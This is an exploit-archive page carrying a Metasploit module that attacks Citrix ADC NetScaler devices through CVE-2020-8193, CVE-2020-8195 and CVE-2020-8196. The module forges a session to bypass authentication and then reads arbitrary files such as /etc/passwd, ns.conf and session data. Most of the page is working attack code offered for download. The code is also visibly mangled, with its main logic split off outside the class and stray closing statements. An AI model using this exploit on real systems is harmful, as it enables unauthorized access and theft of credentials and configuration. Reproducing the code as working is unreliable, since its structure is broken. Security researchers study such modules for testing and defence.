

Authored by [Donny Maasland](#), [Ramella Sebastien](#) | Site [metasploit.com](#)

Posted Nov 13, 2020

This Metasploit module exploits a local file inclusion vulnerability in Citrix ADC Netscaler.

tags | exploit, local, file inclusion
advisories | CVE-2020-8193, CVE-2020-8195, CVE-2020-8196

SHA-256 | 70dc89253162a6b119c3d606f6c3f8993ac2cf75090d967905fead6d2ddd4d90 [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

StumbleUpon

Change Mirror
Download

```

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
      'Description' => %!
        The remote device is affected by multiple vulnerabilities.

        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
        An unauthenticated remote attacker with access to the 'NSIP/management interface' can exploit this
        to bypass authentication (CVE-2020-8193).

        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
      ),
      'Author' => [
        'Donny Maasland', # Discovery
        'mekhalieh (RAMELLA Sebastian)' # Module author (2eop Enterprise)
      ],
      'References' => [
        ['CVE', '2020-8193'],
        ['CVE', '2020-8195'],
        ['CVE', '2020-8196'],
        ['URL', 'https://dmasland.github.io/posts/citrix.html'],
        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
        ['URL', 'https://github.com/jas02n/CVE-2020-8193']
      ],
      'DisclosureDate' => '2020-07-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true
      }
    ))

    register_options([
      OptEnum.new('MODE', [true, 'Start type.', 'discovery'], [ 'discovery', 'interactive', 'sessions' ]),
      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def create_session
    params = 'type=allprofiles&id=loginchallenge&response=requestbody&username=naroot&set=1'

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'poides', 'report')}?#{params}",
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6.8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6.8)
      },
      'data' => '<appfwprofile><login></login></appfwprofile>'
    }
    request = request.merge({'cookie' => @cookie}) if @cookie

    response = send_request_raw(request)
    unless response && response.code == 406
      print_error("#{@message_prefix} - No response to session request.")
      return
    end

    response.get_cookies
  end

  def fix_session_rand
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
      'cookie' => @cookie,
      'vars_get' => {
        'sid' => 'naroot',
        'username' => 'naroot',
        'force_setup' => '1'
      }
    )

    if response && response.code == 302
      location = response.headers['location']

      response = send_request_cgi(
        'method' => 'GET',
        'uri' => location,
        'cookie' => @cookie
      )

      return unless response && response.code == 200
    end

    response.to_s.scan(/rand = ([^"]+)/).join

  end

  def read_lfi(path, var_rand)
    params = "filter=path:#{path}"

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
      'cookie' => @cookie,
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6.8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6.8),
        'rand_key' => var_rand
      },
      'data' => '<clipermission></clipermission>'
    }

    response = send_request_raw(request)
  end

  def run_host(ip)
    proto = (datastore['SSL'] ? 'https' : 'http')
    @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"
  end
end

```

```
@cookie = create_session
if @cookie && @cookie =~ /SESSION/
  print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")

  var_rand = fix_session_rand
  unless var_rand
    print_error("#{@message_prefix} - Unable to get rand value.")
    return Exploit::CheckCode::Unknown
  end
  print_status("#{@message_prefix} - Got rand: #{var_rand}")

  print_status("#{@message_prefix} - Re-breaking session...")
  create_session

  case datastore['MODE']
  when /discovery/
    response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
    if response.code == 406
      if response.body.include? ('root::0:0:')
        print_warning("#{@message_prefix} - Vulnerable.")

        return Exploit::CheckCode::Vulnerable
      end
    end
  when /interactive/
    # TODO: parse response
    response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
    if response.code == 406
      print_line("#{response.body}")
    end

    return
  when /sessions/
    # TODO: parse response
    response = read_lfi('/var/natmp'.gsub('/', '%2F'), var_rand)
    if response.code == 406
      print_line("#{response.body}")
    end

    return
  end
end
print_good("#{@message_prefix} - Not Vulnerable.")

return Exploit::CheckCode::Safe
end
end
```

| | |
|------------------------|-----------------|
| Spoof (2,166) | SUSE (1,444) |
| SQL Injection (16,102) | Ubuntu (8,199) |
| TCP (2,379) | UNIX (9,159) |
| Trojan (686) | UnixWare (185) |
| UDP (676) | Windows (6,511) |
| Virus (662) | Other |
| Vulnerability (31,136) | |
| Web (9,365) | |
| Whitepaper (3,729) | |
| x86 (946) | |
| XSS (17,494) | |
| Other | |

[Login](#) or [Register](#) to add favorites

Site Links


| |
|----------------|
| News by Month |
| News Tags |
| Files by Month |
| File Tags |
| File Directory |


About Us

| |
|-----------------------|
| History & Purpose |
| Contact Information |
| Terms of Service |
| Privacy Statement |
| Copyright Information |

Hosting By

| |
|---------|
| Rokasec |
|---------|

 Follow us on Twitter

 Subscribe to an RSS Feed